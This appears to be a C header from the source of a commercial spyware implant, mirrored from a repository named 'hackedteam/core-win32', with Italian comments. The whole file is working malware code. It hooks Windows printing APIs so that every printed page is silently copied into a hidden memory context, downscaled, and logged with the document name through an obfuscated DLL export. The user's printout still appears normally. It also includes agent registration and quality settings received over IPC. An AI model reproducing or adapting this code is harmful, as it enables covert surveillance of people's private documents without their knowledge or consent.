hackedteam/core-win32

View on GitHub
HM_PrintPool.h

Summary

Maintainability
Test Coverage

#define SCALING_FACTOR 6   // 1=dimensioni originali, 10=buona perdita
#define DOC_NAME_LEN 256
#define HDUMMY 0xabadc0de
#define GET_ARGS    __asm     PUSH ESI \
                    __asm    LEA ESI, DWORD PTR [EBP+0x8] \
                    __asm    MOV [arg_ptr], ESI \
                    __asm    POP ESI 

// Struttura di configurazione via IPC
typedef struct {
    BOOL active;  // La prima variabile deve essere il BOOL di attivazione
    DWORD scaling_factor;
} print_pool_conf;


////////////////////////////// Wrappers per print pool //////////////////////

//////////////////////////
//                        //
//         CreateDCW      //
//                        //
//////////////////////////

typedef struct {
    COMMONDATA;
    CreateCompatibleDC_t pCreateCompatibleDC;
    CreateCompatibleBitmap_t pCreateCompatibleBitmap;
    GetDeviceCaps_t pGetDeviceCaps;
    SelectObject_t pSelectObject;
    FillRect_t pFillRect;
    CreateBrushIndirect_t pCreateBrushIndirect;
    HDC printer_dc;
    HDC memory_dc;
    DWORD x_dim, y_dim; // Verranno usate poi per la BitBlt sul device context della stampante in EndPage
    DWORD x_real, y_real; // Valori reali senza scaling factor
    HBITMAP memory_bitmap;
    HBRUSH hbrush;
    DWORD scaling_factor;
    WCHAR doc_name[DOC_NAME_LEN+2]; // Nome del documento stampato. (assicura il NULL terminate)
} CreateDCDataStruct;

CreateDCDataStruct CreateDC_data;

static DWORD WINAPI CreateDC_wrap(DWORD ARG1, DWORD ARG2, DWORD ARG3, DWORD ARG4)
{
    LOGBRUSH fill_brush;
    RECT fill_rect;
    print_pool_conf *print_conf;

    MARK_HOOK

    INIT_WRAPPER(CreateDCDataStruct);

    CALL_ORIGINAL_API(4);

    // Se fallisce o l'agent e' disattivato, ritorna
    print_conf = (print_pool_conf *)pData->pHM_IpcCliRead(PM_PRINTAGENT);
    if (!ret_code || !print_conf || !(print_conf->active))
        return ret_code;

    // Verifica che il DeviceContext creato sia relativo a una stampante
    if (pData->pGetDeviceCaps((HDC)ret_code, 2) == 2) {
        pData->scaling_factor = print_conf->scaling_factor;
        pData->printer_dc = (HDC)ret_code;
        pData->memory_dc = pData->pCreateCompatibleDC(pData->printer_dc);    
        pData->x_real = pData->pGetDeviceCaps(pData->printer_dc, HORZRES);
        pData->y_real = pData->pGetDeviceCaps(pData->printer_dc, VERTRES);

        pData->x_dim = pData->x_real / pData->scaling_factor;
        pData->y_dim = pData->y_real / pData->scaling_factor;

        pData->memory_bitmap = pData->pCreateCompatibleBitmap(pData->printer_dc, pData->x_dim, pData->y_dim); 
        pData->pSelectObject(pData->memory_dc, pData->memory_bitmap);

        // Riempie la bitmap di bianco (crea il brush solo la prima volta 
        // viene richiamato, e non lo distrugge mai).
        if (pData->hbrush == (HBRUSH)HDUMMY) {
            fill_brush.lbStyle = BS_SOLID;
            fill_brush.lbColor = RGB(0xFF, 0xFF, 0xFF);
            pData->hbrush = pData->pCreateBrushIndirect(&fill_brush);
        }
        fill_rect.left = fill_rect.top = 0;
        fill_rect.right = pData->x_dim;
        fill_rect.bottom = pData->y_dim;
        pData->pFillRect(pData->memory_dc, &fill_rect, pData->hbrush);

        ret_code = (DWORD)pData->memory_dc;
    }
    return ret_code;
}

static DWORD CreateDC_setup(HMServiceStruct *pData)
{
    HMODULE h_gdi;
    HMODULE h_usr;

    VALIDPTR(h_gdi = LoadLibrary("GDI32.dll"));
    VALIDPTR(h_usr = LoadLibrary("User32.dll"));
    VALIDPTR(CreateDC_data.pGetDeviceCaps = (GetDeviceCaps_t)HM_SafeGetProcAddress(h_gdi, "GetDeviceCaps"));
    VALIDPTR(CreateDC_data.pCreateCompatibleDC = (CreateCompatibleDC_t)HM_SafeGetProcAddress(h_gdi, "CreateCompatibleDC"));
    VALIDPTR(CreateDC_data.pCreateCompatibleBitmap = (CreateCompatibleBitmap_t)HM_SafeGetProcAddress(h_gdi, "CreateCompatibleBitmap"));
    VALIDPTR(CreateDC_data.pSelectObject = (SelectObject_t)HM_SafeGetProcAddress(h_gdi, "SelectObject"));
    VALIDPTR(CreateDC_data.pCreateBrushIndirect = (CreateBrushIndirect_t)HM_SafeGetProcAddress(h_gdi, "CreateBrushIndirect"));
    VALIDPTR(CreateDC_data.pFillRect = (FillRect_t)HM_SafeGetProcAddress(h_usr, "FillRect"));

    CreateDC_data.pHM_IpcCliRead = pData->pHM_IpcCliRead;
    CreateDC_data.printer_dc = CreateDC_data.memory_dc = (HDC)HDUMMY;
    CreateDC_data.memory_bitmap = (HBITMAP)HDUMMY;
    CreateDC_data.hbrush = (HBRUSH)HDUMMY;
    CreateDC_data.x_dim = CreateDC_data.y_dim =0;
    CreateDC_data.scaling_factor = SCALING_FACTOR;
    // All'inizio il nome del file stampato e' vuoto
    ZeroMemory(CreateDC_data.doc_name, sizeof(CreateDC_data.doc_name));

    CreateDC_data.dwHookLen = 600;
    return 0;
}



//////////////////////////
//                        //
//         DeleteDC       //
//                        //
//////////////////////////

typedef struct {
    COMMONDATA;
    CreateDCDataStruct *c_data;
    DeleteObject_t pDeleteObject;
} DeleteDC_data_struct;

DeleteDC_data_struct DeleteDC_data;

static DWORD WINAPI DeleteDC_wrap(DWORD ARG1)
{
    DWORD *arg_ptr;

    MARK_HOOK

    INIT_WRAPPER(DeleteDC_data_struct);
    GET_ARGS;

    // Se e' una DeleteDC sul memory_dc e abbiamo due DC diversi
    // (quando e' disattivo sono entrambi settati su HDUMMY)
    if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc &&
        pData->c_data->memory_dc != pData->c_data->printer_dc) {
        pData->pDeleteObject(pData->c_data->memory_bitmap);
        CALL_ORIGINAL_API(1);
        arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
        // Azzera gli handle che ormai non esistono piu'
        pData->c_data->memory_dc = pData->c_data->printer_dc = (HDC)HDUMMY;
    }

    CALL_ORIGINAL_API(1);
    
    return ret_code;
}



static DWORD DeleteDC_setup(HMServiceStruct *pData)
{
    HMODULE h_gdi;

    VALIDPTR(h_gdi = LoadLibrary("GDI32.dll"));
    VALIDPTR(DeleteDC_data.pDeleteObject = (DeleteObject_t)HM_SafeGetProcAddress(h_gdi, "DeleteObject"));

    DeleteDC_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
    DeleteDC_data.dwHookLen = 300; 
    return 0;
}




//////////////////////////
//                        //
//         EndPage        //
//                        //
//////////////////////////

typedef struct {
    COMMONDATA;
    char szDLLName[DLLNAMELEN];
    char print_screen_name[30];
    CreateDCDataStruct *c_data;
    LoadLibrary_t pLoadLibrary;
    FreeLibrary_t pFreeLibrary;
    FillRect_t pFillRect;
    GetProcAddress_t pGetProcAddress;
    StretchBlt_t pStretchBlt; 
} EndPage_data_struct;

EndPage_data_struct EndPage_data;

static DWORD WINAPI EndPage_wrap(DWORD ARG1)
{
    typedef void (__stdcall *PrintScreen_t)(WCHAR *, HDC, HBITMAP, DWORD, DWORD);
    HMODULE h_mod;
    DWORD *arg_ptr;
    RECT fill_rect;
    BOOL *Active;
    PrintScreen_t pPrintScreen;

    MARK_HOOK

    INIT_WRAPPER(EndPage_data_struct);
    GET_ARGS;

    // E' una EndPage sul device context virtuale
    if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc && 
        pData->c_data->memory_dc != pData->c_data->printer_dc) {
        // L'API originale verra' chiamata sul device context della stampante
        arg_ptr[0] = (DWORD)pData->c_data->printer_dc;

        // Copia il contenuto del context virtuale sulla stampante
        pData->pStretchBlt(pData->c_data->printer_dc, 0, 0, pData->c_data->x_real, pData->c_data->y_real, pData->c_data->memory_dc, 0, 0, pData->c_data->x_dim, pData->c_data->y_dim, SRCCOPY);        

        // Acuisisce la bitmap e la logga su file (solo se l'agent e' ancora attivo)
        Active = (BOOL *)pData->pHM_IpcCliRead(PM_PRINTAGENT);
        if (Active && (*Active)) {
            h_mod = pData->pLoadLibrary(pData->szDLLName);
            if (h_mod) {
                pPrintScreen = (PrintScreen_t)pData->pGetProcAddress(h_mod, pData->print_screen_name);
                if (pPrintScreen)
                    pPrintScreen(pData->c_data->doc_name, pData->c_data->memory_dc, pData->c_data->memory_bitmap, pData->c_data->x_dim, pData->c_data->y_dim);
                pData->pFreeLibrary(h_mod);
            }
        }
        // Pulisce il memory device context
        fill_rect.left = fill_rect.top = 0;
        fill_rect.right = pData->c_data->x_dim;
        fill_rect.bottom = pData->c_data->y_dim;
        pData->pFillRect(pData->c_data->memory_dc, &fill_rect, pData->c_data->hbrush);
    }
    
    CALL_ORIGINAL_API(1);
    return ret_code;
}

static DWORD EndPage_setup(HMServiceStruct *pData)
{
    HMODULE h_mod;
    HMODULE h_gdi;
    HMODULE h_usr;

    VALIDPTR(h_mod = GetModuleHandle("KERNEL32.dll"));
    VALIDPTR(h_gdi = LoadLibrary("GDI32.dll"));
    VALIDPTR(h_usr = LoadLibrary("User32.dll"));

    VALIDPTR(EndPage_data.pLoadLibrary = (LoadLibrary_t)HM_SafeGetProcAddress(h_mod, "LoadLibraryA"));
    VALIDPTR(EndPage_data.pFreeLibrary = (FreeLibrary_t)HM_SafeGetProcAddress(h_mod, "FreeLibrary"));
    VALIDPTR(EndPage_data.pGetProcAddress = (GetProcAddress_t)HM_SafeGetProcAddress(h_mod, "GetProcAddress"));
    VALIDPTR(EndPage_data.pStretchBlt = (StretchBlt_t)HM_SafeGetProcAddress(h_gdi, "StretchBlt"));
    VALIDPTR(EndPage_data.pFillRect = (FillRect_t)HM_SafeGetProcAddress(h_usr, "FillRect"));

    EndPage_data.pHM_IpcCliRead = pData->pHM_IpcCliRead;
    // Funzione di stampa su file esportata
    sprintf(EndPage_data.print_screen_name, "PPPFTBBP06");
    HM_CompletePath(H4DLLNAME, EndPage_data.szDLLName);

    EndPage_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
    EndPage_data.dwHookLen = 400;
    return 0;
}


//////////////////////////
//                        //
//        StartPage       //
//                        //
//////////////////////////

typedef struct {
    COMMONDATA;
    CreateDCDataStruct *c_data;
} StartPage_data_struct;

StartPage_data_struct StartPage_data;

static DWORD WINAPI StartPage_wrap(DWORD ARG1)
{    
    DWORD *arg_ptr;

    MARK_HOOK

    INIT_WRAPPER(StartPage_data_struct);
    GET_ARGS;
    
    // E' una StartPage sul device context virtuale
    if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc) 
        arg_ptr[0] = (DWORD)pData->c_data->printer_dc;

    CALL_ORIGINAL_API(1);
    return ret_code;
}

static DWORD StartPage_setup(HMServiceStruct *pData)
{
    StartPage_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
    StartPage_data.dwHookLen = 150; 
    return 0;
}


//////////////////////////
//                        //
//           EndDoc        //
//                        //
//////////////////////////

typedef struct {
    COMMONDATA;
    CreateDCDataStruct *c_data;
} EndDoc_data_struct;

EndDoc_data_struct EndDoc_data;

static DWORD WINAPI EndDoc_wrap(DWORD ARG1)
{    
    DWORD *arg_ptr;

    MARK_HOOK

    INIT_WRAPPER(EndDoc_data_struct);
    GET_ARGS;

    // E' una EndDoc sul device context virtuale
    if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc) 
        arg_ptr[0] = (DWORD)pData->c_data->printer_dc;

    CALL_ORIGINAL_API(1);
    return ret_code;
}

static DWORD EndDoc_setup(HMServiceStruct *pData)
{
    EndDoc_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
    EndDoc_data.dwHookLen = 150; 
    return 0;
}


//////////////////////////
//                        //
//      StartDoc        //
//                        //
//////////////////////////

typedef struct {
    COMMONDATA;
    CreateDCDataStruct *c_data;
} StartDoc_data_struct;

StartDoc_data_struct StartDoc_data;

static DWORD WINAPI StartDoc_wrapA(DWORD ARG1, DWORD ARG2)
{
    DWORD *arg_ptr;
    DWORD i;
    DOCINFOA *doc_info;
    BYTE *ptr_name;

    MARK_HOOK

    INIT_WRAPPER(StartDoc_data_struct);
    GET_ARGS;

    // E' una StartDoc sul device context virtuale
    if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc && 
        pData->c_data->memory_dc != pData->c_data->printer_dc) { 
        arg_ptr[0] = (DWORD)pData->c_data->printer_dc;

        // Salva il nome del documento stampato
        doc_info = (DOCINFOA *) arg_ptr[1];
        if (doc_info && doc_info->lpszDocName) {
            // ASCII
            ptr_name = (BYTE *)pData->c_data->doc_name;
            for (i=0; i<(DOC_NAME_LEN); i++) {
                ptr_name[i*2] = doc_info->lpszDocName[i];
                ptr_name[i*2+1] = 0;
                if (doc_info->lpszDocName[i] == 0)
                    break;
            }
        }
    }

    CALL_ORIGINAL_API(2);
    return ret_code;
}


static DWORD WINAPI StartDoc_wrapW(DWORD ARG1, DWORD ARG2)
{
    DWORD *arg_ptr;
    DWORD i;
    DOCINFOW *doc_info;

    MARK_HOOK

    INIT_WRAPPER(StartDoc_data_struct);
    GET_ARGS;

    // E' una StartDoc sul device context virtuale
    if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc && 
        pData->c_data->memory_dc != pData->c_data->printer_dc) { 
        arg_ptr[0] = (DWORD)pData->c_data->printer_dc;

        // Salva il nome del documento stampato
        doc_info = (DOCINFOW *) arg_ptr[1];
        if (doc_info && doc_info->lpszDocName) {
            // WideChar
            for (i=0; i<(DOC_NAME_LEN); i++) {
                pData->c_data->doc_name[i] = doc_info->lpszDocName[i];
                if (pData->c_data->doc_name[i] == 0)
                    break;
            }
        }        
    }

    CALL_ORIGINAL_API(2);
    return ret_code;
}

static DWORD StartDoc_setup(HMServiceStruct *pData)
{
    StartDoc_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
    StartDoc_data.dwHookLen = 570; 
    return 0;
}


//////////////////////////
//                        //
//       GetDeviceCaps     //
//                        //
//////////////////////////
typedef struct {
    COMMONDATA;
    CreateDCDataStruct *c_data;
} GetDeviceCaps_data_struct;

GetDeviceCaps_data_struct GetDeviceCaps_data;

static DWORD WINAPI GetDeviceCaps_wrap(DWORD ARG1, DWORD ARG2)
{    
    DWORD *arg_ptr;

    MARK_HOOK

    INIT_WRAPPER(GetDeviceCaps_data_struct);
    GET_ARGS;

    // E' una GetDeviceCaps sul device context virtuale
    if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc && 
        pData->c_data->memory_dc != pData->c_data->printer_dc) {
        arg_ptr[0] = (DWORD)pData->c_data->printer_dc;

        CALL_ORIGINAL_API(2);

        // Sul nostro DC deve operarare la scalatura per
        // diversi fattori
        if (arg_ptr[1] == HORZRES ||
            arg_ptr[1] == VERTRES ||
            arg_ptr[1] == LOGPIXELSX ||
            arg_ptr[1] == LOGPIXELSY ||
            arg_ptr[1] == PHYSICALWIDTH ||
            arg_ptr[1] == PHYSICALHEIGHT ||
            arg_ptr[1] == PHYSICALOFFSETX ||
            arg_ptr[1] == PHYSICALOFFSETY)
                ret_code = ret_code / (pData->c_data->scaling_factor);
    
        return ret_code;
    }

    CALL_ORIGINAL_API(2);
    return ret_code;
}

static DWORD GetDeviceCaps_setup(HMServiceStruct *pData)
{
    GetDeviceCaps_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
    GetDeviceCaps_data.dwHookLen = 420; 
    return 0;
}


//////////////////////////
//                        //
//     SetAbortProc     //
//                        //
//////////////////////////
typedef struct {
    COMMONDATA;
    CreateDCDataStruct *c_data;
} SetAbortProc_data_struct;

SetAbortProc_data_struct SetAbortProc_data;

static DWORD WINAPI SetAbortProc_wrap(DWORD ARG1, DWORD ARG2)
{    
    DWORD *arg_ptr;

    MARK_HOOK

    INIT_WRAPPER(SetAbortProc_data_struct);
    GET_ARGS;

    // E' una SetAbortProc sul device context virtuale
    if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc) 
        arg_ptr[0] = (DWORD)pData->c_data->printer_dc;

    CALL_ORIGINAL_API(2);
    return ret_code;
}

static DWORD SetAbortProc_setup(HMServiceStruct *pData)
{
    SetAbortProc_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
    SetAbortProc_data.dwHookLen = 150; 
    return 0;
}



//////////////////////////
//                        //
//         CreateDCA      //
//                        //
//////////////////////////

typedef struct {
    COMMONDATA;
    CreateDCDataStruct *c_data;
} CreateDCADataStruct;

CreateDCADataStruct CreateDCA_data;

static DWORD WINAPI CreateDCA_wrap(DWORD ARG1, DWORD ARG2, DWORD ARG3, DWORD ARG4)
{
    LOGBRUSH fill_brush;
    RECT fill_rect;
    print_pool_conf *print_conf;

    MARK_HOOK

    INIT_WRAPPER(CreateDCADataStruct);

    CALL_ORIGINAL_API(4);

    // Se fallisce o l'agent e' disattivato, ritorna
    print_conf = (print_pool_conf *)pData->pHM_IpcCliRead(PM_PRINTAGENT);
    if (!ret_code || !print_conf || !(print_conf->active))
        return ret_code;

    // Accede a tutti i dati della versione WideChar della funzione
    // tramite c_data

    // Verifica che il DeviceContext creato sia relativo a una stampante
    if (pData->c_data->pGetDeviceCaps((HDC)ret_code, 2) == 2) {
        pData->c_data->scaling_factor = print_conf->scaling_factor;
        pData->c_data->printer_dc = (HDC)ret_code;
        pData->c_data->memory_dc = pData->c_data->pCreateCompatibleDC(pData->c_data->printer_dc);    
        pData->c_data->x_real = pData->c_data->pGetDeviceCaps(pData->c_data->printer_dc, HORZRES);
        pData->c_data->y_real = pData->c_data->pGetDeviceCaps(pData->c_data->printer_dc, VERTRES);

        pData->c_data->x_dim = pData->c_data->x_real / pData->c_data->scaling_factor;
        pData->c_data->y_dim = pData->c_data->y_real / pData->c_data->scaling_factor;

        pData->c_data->memory_bitmap = pData->c_data->pCreateCompatibleBitmap(pData->c_data->printer_dc, pData->c_data->x_dim, pData->c_data->y_dim); 
        pData->c_data->pSelectObject(pData->c_data->memory_dc, pData->c_data->memory_bitmap);

        // Riempie la bitmap di bianco (crea il brush solo la prima volta 
        // viene richiamato, e non lo distrugge mai).
        if (pData->c_data->hbrush == (HBRUSH)HDUMMY) {
            fill_brush.lbStyle = BS_SOLID;
            fill_brush.lbColor = RGB(0xFF, 0xFF, 0xFF);
            pData->c_data->hbrush = pData->c_data->pCreateBrushIndirect(&fill_brush);
        }
        fill_rect.left = fill_rect.top = 0;
        fill_rect.right = pData->c_data->x_dim;
        fill_rect.bottom = pData->c_data->y_dim;
        pData->c_data->pFillRect(pData->c_data->memory_dc, &fill_rect, pData->c_data->hbrush);

        ret_code = (DWORD)pData->c_data->memory_dc;
    }
    return ret_code;
}

static DWORD CreateDCA_setup(HMServiceStruct *pData)
{
    CreateDCA_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
    CreateDCA_data.pHM_IpcCliRead = pData->pHM_IpcCliRead;
    CreateDCA_data.dwHookLen = 700;
    return 0;
}



////////////////// Funzioni per la gestione dell'agent ///////////////

DWORD __stdcall PM_PrintAgentStartStop(BOOL bStartFlag, BOOL bReset)
{
    AM_IPCAgentStartStop(PM_PRINTAGENT, bStartFlag);    
    return 1;
}


DWORD __stdcall PM_PrintAgentInit(JSONObject elem)
{
    print_pool_conf print_conf;

    // Setta lo scaling factor via IPC
    print_conf.active = FALSE;
    if (!wcscmp(elem[L"quality"]->AsString().c_str(), L"hi") ) {
        print_conf.scaling_factor = 2; 
    } else if (!wcscmp(elem[L"quality"]->AsString().c_str(), L"med") ) {
        print_conf.scaling_factor = 4;
    } else { 
        print_conf.scaling_factor = 6;
    }

    IPCServerWrite(PM_PRINTAGENT, (BYTE *)&print_conf, sizeof(print_conf));
    return 1;
}


void PM_PrintAgentRegister()
{
    AM_MonitorRegister(L"print", PM_PRINTAGENT, (BYTE *)NULL, (BYTE *)PM_PrintAgentStartStop, (BYTE *)PM_PrintAgentInit, NULL);
}